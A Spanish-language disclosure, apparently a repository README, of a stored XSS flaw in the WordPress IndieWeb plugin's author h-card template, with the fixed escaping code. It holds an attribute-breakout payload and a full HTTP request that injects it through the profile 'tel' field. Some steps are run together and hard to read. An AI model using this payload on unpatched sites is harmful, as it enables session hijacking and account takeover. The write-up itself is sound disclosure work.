
Cross-Site Scripting (XSS) almacenado autenticado en el plugin IndieWeb de WordPress
Descargo de responsabilidad: Este repositorio se crea únicamente con fines educativos y de divulgación ética. La vulnerabilidad ha sido reportada de manera responsable al proveedor y corregida. No utilice esta información para explotar sistemas sin la debida autorización.
Se descubrió una vulnerabilidad de Cross-Site Scripting (XSS) Almacenado en el plugin IndieWeb para WordPress (versiones <= 4.0.5). Esta vulnerabilidad permite a atacantes autenticados con privilegios de Autor o superiores inyectar JavaScript malicioso en el campo "Teléfono" de su perfil de usuario.
Cuando el "Widget de H-Card de Perfil de Autor" se muestra en el frontend, el script inyectado se renderiza sin la sanitización adecuada. Si un usuario con privilegios elevados, como un Administrador, hace clic en el enlace manipulado, el script se ejecuta en el contexto de su navegador. Esto puede provocar el secuestro de sesión, acciones administrativas no autorizadas y la toma de control total de la cuenta (ATO).
<= 4.0.5El problema principal radica en el manejo inseguro de los metadatos de usuario dentro del sistema de plantillas del plugin, específicamente la falta de uso de las funciones de escape integradas de WordPress.
Archivo Vulnerable: templates/h-card.php (Línea 27)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
El Fallo:
El plugin genera directamente los metadatos tel del usuario dentro del atributo HTML href usando echo sin envolverlos en esc_attr(). Esto permite a un atacante proporcionar una cadena manipulada que incluye una comilla doble (") para cerrar prematuramente el atributo href, seguida de atributos HTML arbitrarios (como style u onclick).
<= 4.0.5 activado./wp-admin/profile.php).href):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single()) para mostrar la información del autor.POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
Para corregir esta vulnerabilidad, los desarrolladores del plugin deben escapar adecuadamente la salida utilizando las funciones esc_attr() y esc_html() de WordPress.
Ejemplo de Código Corregido:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>